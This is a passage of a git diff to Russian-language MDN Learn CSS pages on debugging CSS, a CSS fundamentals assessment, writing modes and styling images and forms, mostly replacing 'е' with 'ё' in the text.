к ним, однако <code>box1</code> визуально шире. В layout panel вы можете увидеть, что он использует <code>content-box</code>. Это значение, которое принимает размер, который вы даёте элементу и затем добавляет padding </strong><strong>и ширину границ.</strong></p> <p>Элемент с классом <code>box2</code> использует <code>border-box</code>, поэтому здесь padding и граница вычтены из размера, который вы дали элементу. <span class="tlid-translation translation" lang="ru"><span title="">Это означает, что пространство, занимаемое на странице блоком, соответствует указанному вами размеру </span></span>— в нашем случае <code>width: 400px</code>.</p> @@ -94,9 +94,9 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS <h2 id="Решение_проблем_специфичности">Решение проблем специфичности</h2> -<p>Порой во время разработки, в частности когда вам нужно отредактировать CSS на существующем сайте вы, вы столкнетесь с трудностями применения некоторого CSS. Вне зависимости от того, что вы делаете, кажется, что элемент просто не реагирует на CSS. Что же обычно происходит в таких ситуациях - это то, что более специфичный селектор переопределяет ваши изменения и в таких случаях DevTools действительно поможет вам.</p> +<p>Порой во время разработки, в частности когда вам нужно отредактировать CSS на существующем сайте вы, вы столкнётесь с трудностями применения некоторого CSS. Вне зависимости от того, что вы делаете, кажется, что элемент просто не реагирует на CSS. Что же обычно происходит в таких ситуациях - это то, что более специфичный селектор переопределяет ваши изменения и в таких случаях DevTools действительно поможет вам.</p> -<p>В нашем примере два слова обернуты в элемент <code><em></code>. Один отображается оранжевым, а второй ярко-розовым. В CSS мы применили:</p> +<p>В нашем примере два слова обёрнуты в элемент <code><em></code>. Один отображается оранжевым, а второй ярко-розовым. В CSS мы применили:</p> <pre class="brush: css">em { color: hotpink; @@ -111,7 +111,7 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS <p>Как вы помните из урока <a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">каскад и наследование</a> где мы обсуждали специфичность, селекторы классов являются более специфичными чем селекторы элементов, и поэтому это то значение которое применяется. DevTools может помочь вам найти такие проблемы, особенно если информация закопана где-то в дебрях огромной таблицы стилей.</p> -<p><strong>Проведите инспекцию <code><em></code> с классом <code>.special</code> и DevTools покажет вам что оранжевый это цвет который применяется, а также отобразит вам свойство <code>color</code> примененное к em зачеркнутым. Теперь вы можете видеть, что класс переопределяет селектор элемента. </strong></p> +<p><strong>Проведите инспекцию <code><em></code> с классом <code>.special</code> и DevTools покажет вам что оранжевый это цвет который применяется, а также отобразит вам свойство <code>color</code> применённое к em зачёркнутым. Теперь вы можете видеть, что класс переопределяет селектор элемента. </strong></p> <p><img alt="Selecting an em and looking at DevTools to see what is over-riding the color." src="https://mdn.mozillademos.org/files/16610/inspecting5-specificity.png" style="border-style: solid; border-width: 1px; height: 1161px; width: 2275px;"></p> @@ -121,11 +121,11 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS <h2 id="Отладка_проблем_в_CSS">Отладка проблем в CSS</h2> -<p>DevTools может помочь при решении проблем CSS, итак, когда вы окажетесь в ситуации, где CSS ведет себя не так, как вы ожидаете, как же вам следует решать эту проблему? Следующие шаги должны помочь.</p> +<p>DevTools может помочь при решении проблем CSS, итак, когда вы окажетесь в ситуации, где CSS ведёт себя не так, как вы ожидаете, как же вам следует решать эту проблему? Следующие шаги должны помочь.</p> <h3 id="Сделайте_шаг_назад">Сделайте шаг назад</h3> -<p>Любая проблема кодирования может быть неприятной, особенно проблемы CSS, потому что зачастую вы не получаете каких-либо сообщений об ошибках чтобы найти решение в интернете. Если вы начинаете разочаровываться оторвитесь от проблемы на время — прогуляйтесь, попейте, пообщайтесь с коллегами или займите себя чем-нибудь другим на время. Иногда решение появляется магическим образом, когда вы перестаете думать об этой проблеме, а даже если нет, работать над ней гораздо проще, когда вы чувствуете себя отдохнувшими.</p> +<p>Любая проблема кодирования может быть неприятной, особенно проблемы CSS, потому что зачастую вы не получаете каких-либо сообщений об ошибках чтобы найти решение в интернете. Если вы начинаете разочаровываться оторвитесь от проблемы на время — прогуляйтесь, попейте, пообщайтесь с коллегами или займите себя чем-нибудь другим на время. Иногда решение появляется магическим образом, когда вы перестаёте думать об этой проблеме, а даже если нет, работать над ней гораздо проще, когда вы чувствуете себя отдохнувшими.</p> <h3 id="Валидны_ли_ваши_HTML_и_CSS">Валидны ли ваши HTML и CSS?</h3> @@ -138,7 +138,7 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS <h3 id="Поддерживаются_ли_свойство_и_значение_браузером_в_котором_вы_тестируете">Поддерживаются ли свойство и значение браузером в котором вы тестируете?</h3> -<p>Браузеры попросту игнорируют CSS который они не понимают. Если свойство или значение, которое вы используете не поддерживается браузером, в котором вы тестируете, то ничего не "сломается", кроме того, что тот CSS не будет применен. Обычно DevTools выделяет неподдерживаемые свойства и значения каким-либо образом. На скриншоте ниже браузер не поддерживает значение "подсветки" (subgrid) {{cssxref("grid-template-columns")}}.</p> +<p>Браузеры попросту игнорируют CSS который они не понимают. Если свойство или значение, которое вы используете не поддерживается браузером, в котором вы тестируете, то ничего не "сломается", кроме того, что тот CSS не будет применён. Обычно DevTools выделяет неподдерживаемые свойства и значения каким-либо образом. На скриншоте ниже браузер не поддерживает значение "подсветки" (subgrid) {{cssxref("grid-template-columns")}}.</p> <p><img alt="Image of browser DevTools with the grid-template-columns: subgrid crossed out as the subgrid value is not supported." src="https://mdn.mozillademos.org/files/16641/no-support.png" style="height: 397px; width: 1649px;"></p> @@ -146,26 +146,26 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS <p>{{compat("css.shape-outside")}}</p> -<h3 id="Не_переопределяется_ли_ваш_CSS_чем-нибудь_еще">Не переопределяется ли ваш CSS чем-нибудь еще?</h3> +<h3 id="Не_переопределяется_ли_ваш_CSS_чем-нибудь_ещё">Не переопределяется ли ваш CSS чем-нибудь ещё?</h3> -<p>Это тот момент, когда изученная вами информация о специфичности придет вам на помощь. Если у вас имеется что-то более специфичное, что может переписывать то, что вы пытаетесь сделать, то вы можете вступить в очень расстраивающую игру пытаясь выяснить что же именно. Однако, как описано выше, DevTools покажет вам какой CSS применяется, и вы сможете решить, как сделать новый селектор достаточно специфичным чтобы переопределить его.</p> +<p>Это тот момент, когда изученная вами информация о специфичности придёт вам на помощь. Если у вас имеется что-то более специфичное, что может переписывать то, что вы пытаетесь сделать, то вы можете вступить в очень расстраивающую игру пытаясь выяснить что же именно. Однако, как описано выше, DevTools покажет вам какой CSS применяется, и вы сможете решить, как сделать новый селектор достаточно специфичным чтобы переопределить его.</p> -<h3 id="Сделайте_сокращенный_контрольный_пример_проблемы">Сделайте <span class="tlid-translation translation" lang="ru"><span title="">сокращенный контрольный пример</span></span> проблемы</h3> +<h3 id="Сделайте_сокращённый_контрольный_пример_проблемы">Сделайте <span class="tlid-translation translation" lang="ru"><span title="">сокращённый контрольный пример</span></span> проблемы</h3> <p>Если проблема не решена шагами, описанными выше, тогда вам надо будет сделать своего рода расследование. Лучшее что можно сделать в этом случае это создать нечто известное как с<span class="tlid-translation translation" lang="ru"><span title="">окращенный контрольный пример</span></span>. Возможность "уменьшить проблему" — действительно полезный навык. Он поможет вам найти проблемы как в вашем собственном коде, так в коде ваших коллег, а также <span class="tlid-translation translation" lang="ru"><span title="">позволит вам сообщать об ошибках и более эффективно обращаться за помощью.</span></span></p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Сокращенный контрольный пример </span></span>— <span class="tlid-translation translation" lang="ru"><span title="">это пример кода, который демонстрирует проблему самым простым способом с удалением несвязанного окружающего контента и стиля. </span></span> <span class="tlid-translation translation" lang="ru"><span title="">Это часто будет означать удаление проблемного кода из вашего макета (</span></span>layout<span class="tlid-translation translation" lang="ru"><span title="">), чтобы сделать небольшой пример, который показывает только этот код или функцию.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Сокращённый контрольный пример </span></span>— <span class="tlid-translation translation" lang="ru"><span title="">это пример кода, который демонстрирует проблему самым простым способом с удалением несвязанного окружающего контента и стиля. </span></span> <span class="tlid-translation translation" lang="ru"><span title="">Это часто будет означать удаление проблемного кода из вашего макета (</span></span>layout<span class="tlid-translation translation" lang="ru"><span title="">), чтобы сделать небольшой пример, который показывает только этот код или функцию.</span></span></p> -<p>Создание сокращенного контрольного примера:</p> +<p>Создание сокращённого контрольного примера:</p> <ol> - <li>Если ваша разметка генерируется динамически — например через CMS — сделайте статичную версию вывода, которая показывает проблему. Сайты обмена кодами как <a href="https://codepen.io/">CodePen</a> являются полезными для размещения сокращенных контрольных примеров, так как они доступны онлайн, и вы легко можете поделиться с коллегами. Вы можете начать просматривать страницу во View Source и скопировать HTML в CodePen, затем взять релевантный CSS и JavaScript и включить их тоже. После этого вы можете проверить очевидна ли проблема.</li> + <li>Если ваша разметка генерируется динамически — например через CMS — сделайте статичную версию вывода, которая показывает проблему. Сайты обмена кодами как <a href="https://codepen.io/">CodePen</a> являются полезными для размещения сокращённых контрольных примеров, так как они доступны онлайн, и вы легко можете поделиться с коллегами. Вы можете начать просматривать страницу во View Source и скопировать HTML в CodePen, затем взять релевантный CSS и JavaScript и включить их тоже. После этого вы можете проверить очевидна ли проблема.</li> <li>Если удаление JavaScript не устраняет проблему, то не включайте JavaScript. Если же удаление JavaScript <em>устраняет</em> проблему, тогда удалите столько JavaScript, сколько сможете, оставляя все что вызывает проблему.</li> - <li>Удалите весь HTML который не влияет на проблему. Удалите компоненты или даже главные элементы макета. Опять же постарайтесь добиться наименьшего количества кода, который все еще показывает проблему.</li> + <li>Удалите весь HTML который не влияет на проблему. Удалите компоненты или даже главные элементы макета. Опять же постарайтесь добиться наименьшего количества кода, который все ещё показывает проблему.</li> <li>Удалите весь CSS который не влияет на проблему.</li> </ol> -<p>В процессе вы можете обнаружить что причиняет проблему или, хотя бы, сможете включать или выключать ее путем удаления чего-то конкретного. Стоит добавлять какие-то комментарии к вашему коду по ходу изучения вещей. Если вам надо попросить помощи, то они покажут человеку, помогающему вам что вы уже пытались сделать. <span class="tlid-translation translation" lang="ru"><span title="">Это может дать вам достаточно информации для поиска возможных проблем и обходных путей.</span></span></p> +<p>В процессе вы можете обнаружить что причиняет проблему или, хотя бы, сможете включать или выключать её путём удаления чего-то конкретного. Стоит добавлять какие-то комментарии к вашему коду по ходу изучения вещей. Если вам надо попросить помощи, то они покажут человеку, помогающему вам что вы уже пытались сделать. <span class="tlid-translation translation" lang="ru"><span title="">Это может дать вам достаточно информации для поиска возможных проблем и обходных путей.</span></span></p> <p>If you are still struggling to fix the problem then having a reduced test case gives you something to ask for help with, by posting to a forum, or showing to a co-worker. You are much more likely to get help if you can show that you have done the work of reducing the problem and identifying exactly where it happens, before asking for help. A more experienced developer might be able to quickly spot the problem and point you in the right direction, and even if not, your reduced test case will enable them to have a quick look and hopefully be able to offer at least some help.</p> diff --git a/files/ru/learn/css/building_blocks/fundamental_css_comprehension/index.html b/files/ru/learn/css/building_blocks/fundamental_css_comprehension/index.html index 2e47ff1cdf..eb4a2d4b0f 100644 --- a/files/ru/learn/css/building_blocks/fundamental_css_comprehension/index.html +++ b/files/ru/learn/css/building_blocks/fundamental_css_comprehension/index.html @@ -28,7 +28,7 @@ original_slug: Learn/CSS/Introduction_to_CSS/Ponimanie_osnov_CSS <p>Чтобы начать проверку, вы должны:</p> <ul> - <li>Перейти и скачать <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/index.html">HTML файл для упражнения</a> и <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/chris.jpg">связанный файл изображения</a>, сохранить их в новую директорию на локальном компьютере. Если вы хотите использовать свой собственный файл изображения и вписать свое имя, то пожалуйста — только убедитесь, что изображение квадратное.</li> + <li>Перейти и скачать <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/index.html">HTML файл для упражнения</a> и <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/chris.jpg">связанный файл изображения</a>, сохранить их в новую директорию на локальном компьютере. Если вы хотите использовать свой собственный файл изображения и вписать своё имя, то пожалуйста — только убедитесь, что изображение квадратное.</li> <li>Скачайте <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/style-resources.txt">текстовый файл с исходным CSS</a> — в нем содержится набор исходных селекторов и наборов правил, которые вы должны изучить и объединить, чтобы пройти часть этой проверки.</li> </ul> @@ -46,7 +46,7 @@ original_slug: Learn/CSS/Introduction_to_CSS/Ponimanie_osnov_CSS <li>Прежде всего, создайте новый файл в той же директории, что и ваши HTML и файл изображения. Назовите его как-нибудь образно, например <code>style.css</code>.</li> <li>Подключите ваш CSS к вашему файлу HTML с помощью элемента <code><link></code>.</li> <li>Первые два набора правил в исходном файле CSS ваши бесплатно! После того, как вы закончите радоваться своей удаче, скопируйте и вставьте их в верхнюю часть вашего нового файла CSS. Используйте их в качестве теста, чтобы убедиться, что ваш CSS правильно применяется к HTML.</li> - <li>Над этими двумя правилами добавьте CSS-комментарий, что это набор общих стилей для всей страницы. "Общие стили страницы" подойдут. Также добавьте еще три комментария в нижней части CSS-файла, чтобы отметить стили, соответствующие для настройки контейнера карты, стили, соответствующие для верхнего и нижнего колонтитулов, а также стили, соответствующие для основного содержимого визитной карточки. Отныне новые стили, добавленные в таблицу стилей, должны быть размещены в соответствующем месте.</li> + <li>Над этими двумя правилами добавьте CSS-комментарий, что это набор общих стилей для всей страницы. "Общие стили страницы" подойдут. Также добавьте ещё три комментария в нижней части CSS-файла, чтобы отметить стили, соответствующие для настройки контейнера карты, стили, соответствующие для верхнего и нижнего колонтитулов, а также стили, соответствующие для основного содержимого визитной карточки. Отныне новые стили, добавленные в таблицу стилей, должны быть размещены в соответствующем месте.</li> </ul> <p>Позаботимся о селекторах и наборах правил, предоставленных в файле CSS:</p> @@ -55,9 +55,9 @@ original_slug: Learn/CSS/Introduction_to_CSS/Ponimanie_osnov_CSS <li>Далее мы хотели бы, чтобы вы посмотрели на четыре селектора и рассчитали специфичность для каждого из них. Запишите их где-нибудь, где они могут быть найдены позже, например, в комментарии в верхней части CSS.</li> <li>Теперь пришло время сопоставить правильный селектор и правильный набор правил! У вас есть четыре пары селекторов и набора правил для сопоставления в ваших ресурсах CSS. Сделайте это сейчас и добавьте их в файл CSS. Вам нужно сделать: <ul> - <li>Задайте основному контейнеру карты фиксированную ширину/высоту, сплошной цвет фона, границу и радиус границы (закругленные углы!), помимо прочего.</li> - <li>Задайте заголовку градиент фона, который идет от темного к светлому, плюс закругленные углы, которые вписываются в закругленные углы, заданные для главного контейнера карты.</li> - <li>Задайте для футера градиент фона, переходящий от светлого к темному, а также скругленные углы, которые вписываются в скругленные углы контейнера основной карты.</li> + <li>Задайте основному контейнеру карты фиксированную ширину/высоту, сплошной цвет фона, границу и радиус границы (закруглённые углы!), помимо прочего.</li> + <li>Задайте заголовку градиент фона, который идёт от тёмного к светлому, плюс закруглённые углы, которые вписываются в закруглённые углы, заданные для главного контейнера карты.</li> + <li>Задайте для футера градиент фона, переходящий от светлого к тёмному, а также скруглённые углы, которые вписываются в скруглённые углы контейнера основной карты.</li> <li>Сместите изображение вправо, чтобы оно прилипло к правой стороне основного содержимого визитной карточки, и придайте ему максимальную высоту 100% (хитрый трюк, который гарантирует, что он будет растягиваться/сжиматься, чтобы оставаться на той же высоте, что и его родительский контейнер, независимо от того, какой высоты он становится).</li> </ul> </li> @@ -69,14 +69,14 @@ original_slug: Learn/CSS/Introduction_to_CSS/Ponimanie_osnov_CSS <ul> <li>Напишите набор правил, предназначенный как для заголовка, так и для футера карты, задавая им вычисленную общую высоту 50 пикселей (включая высоту содержимого 30 пикселей и внутренние отступы (padding) 10 пикселей со всех сторон.) Но выразите это в <code>em</code>s.</li> <li><code>margin</code> по умолчанию, применяемый браузером к элементам <code><h2></code> и <code><p></code>, будет мешать нашему дизайну, поэтому напишите правило, которое устанавливает этот параметр для указанных элементов равным 0.</li> - <li>Чтобы изображение не вылезало за пределы основного содержимого визитки (элемент <code><article></code>), нужно задать ему определенную высоту. Установите высоту <code><article></code> в 120px, но выраженную в <code>em</code>s. Также задайте ему полупрозрачный черный цвет фона, в результате получится чуть более темный оттенок, который позволяет цвету фона немного просвечивать красным цветом.</li> - <li>Напишите набор правил, который задает тегу <code><h2></code> удобный размер шрифта 20px (но выраженный в <code>em</code>s) и соответствующую высоту строки, чтобы поместить ее в центр поля содержимого заголовка. Напомним, что высота окна содержимого (content box) должна быть 30px — это дает вам все числа, необходимые для вычисления высоты строки.</li> - <li>Напишите набор правил, который задает тегу <code><p></code> внутри нижнего колонтитула удобный размер шрифта 15px (но выраженный в <code>em</code>s) и соответствующую высоту строки, чтобы поместить его в центр окна содержимого нижнего колонтитула. Напомним, что высота окна содержимого должна быть 30px — это дает вам все числа, необходимые для вычисления высоты строки.</li> + <li>Чтобы изображение не вылезало за пределы основного содержимого визитки (элемент <code><article></code>), нужно задать ему определённую высоту. Установите высоту <code><article></code> в 120px, но выраженную в <code>em</code>s. Также задайте ему полупрозрачный чёрный цвет фона, в результате получится чуть более тёмный оттенок, который позволяет цвету фона немного просвечивать красным цветом.</li> + <li>Напишите набор правил, который задаёт тегу <code><h2></code> удобный размер шрифта 20px (но выраженный в <code>em</code>s) и соответствующую высоту строки, чтобы поместить её в центр поля содержимого заголовка. Напомним, что высота окна содержимого (content box) должна быть 30px — это даёт вам все числа, необходимые для вычисления высоты строки.</li> + <li>Напишите набор правил, который задаёт тегу <code><p></code> внутри нижнего колонтитула удобный размер шрифта 15px (но выраженный в <code>em</code>s) и соответствующую высоту строки, чтобы поместить его в центр окна содержимого нижнего колонтитула. Напомним, что высота окна содержимого должна быть 30px — это даёт вам все числа, необходимые для вычисления высоты строки.</li> <li>В качестве последнего штриха задайте параграфу внутри <code><article></code> соответствующее значение отступа (padding), чтобы его левый край выровнялся с тегом <code><h2></code> и нижним параграфом, и установите его цвет достаточно светлым, чтобы его было легко читать.</li> </ul> <div class="note"> -<p><strong>Примечание</strong>: Имейте в виду, что второй набор правил устанавливает <code>font-size: 10px;</code> для элемента<code><html></code> — это означает, что для любых потомков <code><html></code> <code>em</code> будет равен 10px, а не 16px, как это задано по умолчанию. (Это, конечно, при условии, что у потомков, о которых идет речь, нет предков, находящихся в иерархии между ними и <code><html></code>, на которых установлен другой размер шрифта. Это может повлиять на необходимые значения, хотя в этом простом примере это не проблема).</p> +<p><strong>Примечание</strong>: Имейте в виду, что второй набор правил устанавливает <code>font-size: 10px;</code> для элемента<code><html></code> — это означает, что для любых потомков <code><html></code> <code>em</code> будет равен 10px, а не 16px, как это задано по умолчанию. (Это, конечно, при условии, что у потомков, о которых идёт речь, нет предков, находящихся в иерархии между ними и <code><html></code>, на которых установлен другой размер шрифта. Это может повлиять на необходимые значения, хотя в этом простом примере это не проблема).</p> </div> <p>Другие вещи для размышления:</p> @@ -90,7 +90,7 @@ original_slug: Learn/CSS/Introduction_to_CSS/Ponimanie_osnov_CSS <ul> <li>Вам не нужно каким-либо образом редактировать HTML, за исключением подключения к нему CSS.</li> - <li>При попытке определить значение em вам нужно представить определенную величину в пикселях. Подумайте о том, какой размер базового шрифта имеет корневой элемент (<code><html></code>), и на сколько его нужно умножить, чтобы получить желаемое значение. Это даст вам значение <code>em</code>, по крайней мере, в таком простом случае как этот.</li> + <li>При попытке определить значение em вам нужно представить определённую величину в пикселях. Подумайте о том, какой размер базового шрифта имеет корневой элемент (<code><html></code>), и на сколько его нужно умножить, чтобы получить желаемое значение. Это даст вам значение <code>em</code>, по крайней мере, в таком простом случае как этот.</li> </ul> <h2 id="Образец">Образец</h2> @@ -101,7 +101,7 @@ original_slug: Learn/CSS/Introduction_to_CSS/Ponimanie_osnov_CSS <h2 id="Проверка">Проверка</h2> -<p>Если вы проходите эту проверку в рамках организованного курса, у вас должна быть возможность отдать свою работу своему учителю/наставнику для оценки. Если вы самообучаетесь, то вы можете получить руководство по оценке достаточно простым путем: спросив в <a href="https://discourse.mozilla.org/t/fundamental-css-comprehension-assessment/24682">теме обсуждения об этом упражнении</a>, или в канале <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC на <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Но сначала попробуйте выполнить упражнение — вы ничего не выиграете путем обмана!</p> +<p>Если вы проходите эту проверку в рамках организованного курса, у вас должна быть возможность отдать свою работу своему учителю/наставнику для оценки. Если вы самообучаетесь, то вы можете получить руководство по оценке достаточно простым путём: спросив в <a href="https://discourse.mozilla.org/t/fundamental-css-comprehension-assessment/24682">теме обсуждения об этом упражнении</a>, или в канале <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC на <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Но сначала попробуйте выполнить упражнение — вы ничего не выиграете путём обмана!</p> <p>{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Learn/CSS/Introduction_to_CSS")}}</p> diff --git a/files/ru/learn/css/building_blocks/handling_different_text_directions/index.html b/files/ru/learn/css/building_blocks/handling_different_text_directions/index.html index f572aa9758..ee3148f113 100644 --- a/files/ru/learn/css/building_blocks/handling_different_text_directions/index.html +++ b/files/ru/learn/css/building_blocks/handling_different_text_directions/index.html @@ -5,7 +5,7 @@ translation_of: Learn/CSS/Building_blocks/Handling_different_text_directions --- <div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}</div> -<p>Многие свойства и значения, с которыми мы столкнулись до сих пор при изучении CSS, были привязаны к физическим размерам нашего экрана. Мы создаем границы, например, сверху, справа, снизу и слева от коробки.Эти физические размеры очень точно соответствуют контенту, который просматривается по горизонтали, и по умолчанию Интернет имеет тенденцию поддерживать языки с письмом слева направо (например, английский или французский) лучше, чем языки с письмом справа налево (например, арабский).</p> +<p>Многие свойства и значения, с которыми мы столкнулись до сих пор при изучении CSS, были привязаны к физическим размерам нашего экрана. Мы создаём границы, например, сверху, справа, снизу и слева от коробки.Эти физические размеры очень точно соответствуют контенту, который просматривается по горизонтали, и по умолчанию Интернет имеет тенденцию поддерживать языки с письмом слева направо (например, английский или французский) лучше, чем языки с письмом справа налево (например, арабский).</p> <p>Однако в последние годы CSS развивался чтобы лучше поддерживать разную направленность контента, включая контент с направлением справа налево, а также контент сверху вниз (например, в японском языке) - эти разные направления называются режимами письма. По мере того, как вы продвигаетесь в обучении и начинаете работать с макетом, понимание режимов письма будет вам очень полезно, поэтому мы сейчас и познакомимся с ними.</p> @@ -24,9 +24,9 @@ translation_of: Learn/CSS/Building_blocks/Handling_different_text_directions <h2 id="Какие_бывают_режимы_письма">Какие бывают режимы письма?</h2> -<p>Режим письма в CSS определяет, идет ли текст по горизонтали или по вертикали. Свойство {{cssxref ("writing-mode")}} позволяет нам переключаться из одного режима письма в другой. Для этого вам не обязательно работать на языке, который использует режим вертикального письма - вы также можете изменить режим письма частей вашего макета для творческих целей.</p> +<p>Режим письма в CSS определяет, идёт ли текст по горизонтали или по вертикали. Свойство {{cssxref ("writing-mode")}} позволяет нам переключаться из одного режима письма в другой. Для этого вам не обязательно работать на языке, который использует режим вертикального письма - вы также можете изменить режим письма частей вашего макета для творческих целей.</p> -<p>В приведенном ниже примере заголовок отображается с использованием <code>writing-mode: vertical-rl</code>. Теперь текст идет вертикально. Вертикальный текст часто используется в графическом дизайне и может быть способом добавить более интересный вид вашему веб-дизайну.</p> +<p>В приведённом ниже примере заголовок отображается с использованием <code>writing-mode: vertical-rl</code>. Теперь текст идёт вертикально. Вертикальный текст часто используется в графическом дизайне и может быть способом добавить более интересный вид вашему веб-дизайну.</p> <p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/simple-vertical.html", '100%', 800)}}</p> diff --git a/files/ru/learn/css/building_blocks/images_media_form_elements/index.html b/files/ru/learn/css/building_blocks/images_media_form_elements/index.html index 21896e3f92..e8ee1914ce 100644 --- a/files/ru/learn/css/building_blocks/images_media_form_elements/index.html +++ b/files/ru/learn/css/building_blocks/images_media_form_elements/index.html @@ -5,7 +5,7 @@ translation_of: Learn/CSS/Building_blocks/Images_media_form_elements --- <div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks")}}</div> -<p>В этом уроке мы рассмотрим, как обрабатываются определенные специальные элементы в CSS. Элементы изображений, других медиа и форм ведут себя иначе при их стилизации в CSS чем обычные блоки. Понимание того, что возможно, а что нет спасут вас от лишних разочарований и этот урок прольет свет на некоторые из этих основных вещей, которые вам нужно знать.</p> +<p>В этом уроке мы рассмотрим, как обрабатываются определённые специальные элементы в CSS. Элементы изображений, других медиа и форм ведут себя иначе при их стилизации в CSS чем обычные блоки. Понимание того, что возможно, а что нет спасут вас от лишних разочарований и этот урок прольёт свет на некоторые из этих основных вещей, которые вам нужно знать.</p> <table class="learn-box standard-table"> <tbody> @@ -28,7 +28,7 @@ translation_of: Learn/CSS/Building_blocks/Images_media_form_elements <h2 id="Размер_изображений_калибровка">Размер изображений (калибровка)</h2> -<p>Как вы уже знаете из этих уроков, всё в CSS генерирует блоки. Если вы поместите файл изображения внутрь блока, который больше или меньше исходного размера файла изображения в обоих направлениях, то он отобразиться либо в меньшем размере чем блок, либо перекроет его. Вам нужно принять решение с тем, что произойдет с перекрытием.</p> +<p>Как вы уже знаете из этих уроков, всё в CSS генерирует блоки. Если вы поместите файл изображения внутрь блока, который больше или меньше исходного размера файла изображения в обоих направлениях, то он отобразиться либо в меньшем размере чем блок, либо перекроет его. Вам нужно принять решение с тем, что произойдёт с перекрытием.</p> <p>В примере ниже у нас два блока, оба имеют размер по 200px:</p> @@ -41,7 +41,7 @@ translation_of: Learn/CSS/Building_blocks/Images_media_form_elements <p>Так что же мы можем сделать с проблемой перекрывания?</p> -<p>Как мы учили в <a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">нашем предыдущем уроке</a>, распространенная техника — это сделать {{cssxref("max-width")}} изображения - 100%. <span class="tlid-translation translation" lang="ru"><span title="">Это позволит уменьшить размер изображения по отношению к блоку, но не увеличит его.</span></span> Такой метод будет работать и с другими замещаемыми элементами такими как <code><a href="/en-US/docs/Web/HTML/Element/video"><video></a></code> или <code><a href="/en-US/docs/Web/HTML/Element/iframe"><iframe></a></code>.</p> +<p>Как мы учили в <a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">нашем предыдущем уроке</a>, распространённая техника — это сделать {{cssxref("max-width")}} изображения - 100%. <span class="tlid-translation translation" lang="ru"><span title="">Это позволит уменьшить размер изображения по отношению к блоку, но не увеличит его.</span></span> Такой метод будет работать и с другими замещаемыми элементами такими как <code><a href="/en-US/docs/Web/HTML/Element/video"><video></a></code> или <code><a href="/en-US/docs/Web/HTML/Element/iframe"><iframe></a></code>.</p> <p><strong>Попробуйте добавить <code>max-width: 100%</code> к элементу <code><img></code> в примере выше. Вы увидите, что меньшее изображение останется неизмененным, а большее изображение станет меньше, чтобы заполнить блок.</strong></p> @@ -53,19 +53,19 @@ translation_of: Learn/CSS/Building_blocks/Images_media_form_elements <p>{{EmbedGHLiveSample("css-examples/learn/images/object-fit.html", '100%', 1000)}}</p> -<p>Если мы используем <code>contain</code> в качестве значения, изображение будет уменьшаться до тех пор, пока не станет достаточно маленьким чтобы заполнить блок. Это приведет к "почтовой упаковке", если оно не будет иметь такого же соотношения сторон, как блок.</p> +<p>Если мы используем <code>contain</code> в качестве значения, изображение будет уменьшаться до тех пор, пока не станет достаточно маленьким чтобы заполнить блок. Это приведёт к "почтовой упаковке", если оно не будет иметь такого же соотношения сторон, как блок.</p> <p>Вы также можете попробовать значение <code>fill</code>, которое будет заполнять блок, но при этом не сохранять соотношение сторон.</p> -<h2 id="Замещаемые_элементы_в_верстке">Замещаемые элементы в верстке</h2> +<h2 id="Замещаемые_элементы_в_вёрстке">Замещаемые элементы в вёрстке</h2> -<p><span class="tlid-translation translation" lang="ru"><span title="">При использовании различных методов верстки CSS на замещаемых элементах, вы можете обнаружить, что они ведут себя немного иначе, чем другие элементы. Например</span></span>, во flex или grid layout элементы растягиваются по умолчанию чтобы заполнить всю площадь. Изображения растягиваться не будут, вместо этого они будут выравнены на начало площади flex- или grig-контейнера.</p> +<p><span class="tlid-translation translation" lang="ru"><span title="">При использовании различных методов вёрстки CSS на замещаемых элементах, вы можете обнаружить, что они ведут себя немного иначе, чем другие элементы. Например</span></span>, во flex или grid layout элементы растягиваются по умолчанию чтобы заполнить всю площадь. Изображения растягиваться не будут, вместо этого они будут выравнены на начало площади flex- или grig-контейнера.</p> <p>Вы можете увидеть, как это происходит в примере ниже, где мы имеем grid-контейнер из двух столбцов и двух строк, который содержит 4 объекта. Все <code><div></code> элементы имеют цвет фона и растягиваются чтобы заполнить строки и столбцы. Однако, изображение не растягивается.</p> <p>{{EmbedGHLiveSample("css-examples/learn/images/layout.html", '100%', 1000)}}</p> -<p>Если вы изучаете эти уроки по порядку, тогда вы, возможно, еще не рассматривали layout. Просто держите в уме, что замещаемые элементы, становясь частью grid- или flex-разметки, ведут себя иначе по умолчанию, главным образом, чтобы избежать их странного растяжения по разметке.</p> +<p>Если вы изучаете эти уроки по порядку, тогда вы, возможно, ещё не рассматривали layout. Просто держите в уме, что замещаемые элементы, становясь частью grid- или flex-разметки, ведут себя иначе по умолчанию, главным образом, чтобы избежать их странного растяжения по разметке.</p> <p>Для того чтобы заставить изображение растянуться чтобы заполнить grid-ячейку, вы должны сделать что-то наподобие следующего:</p> @@ -93,14 +93,14 @@ translation_of: Learn/CSS/Building_blocks/Images_media_form_elements <p>{{EmbedGHLiveSample("css-examples/learn/images/form.html", '100%', 1000)}}</p> <div 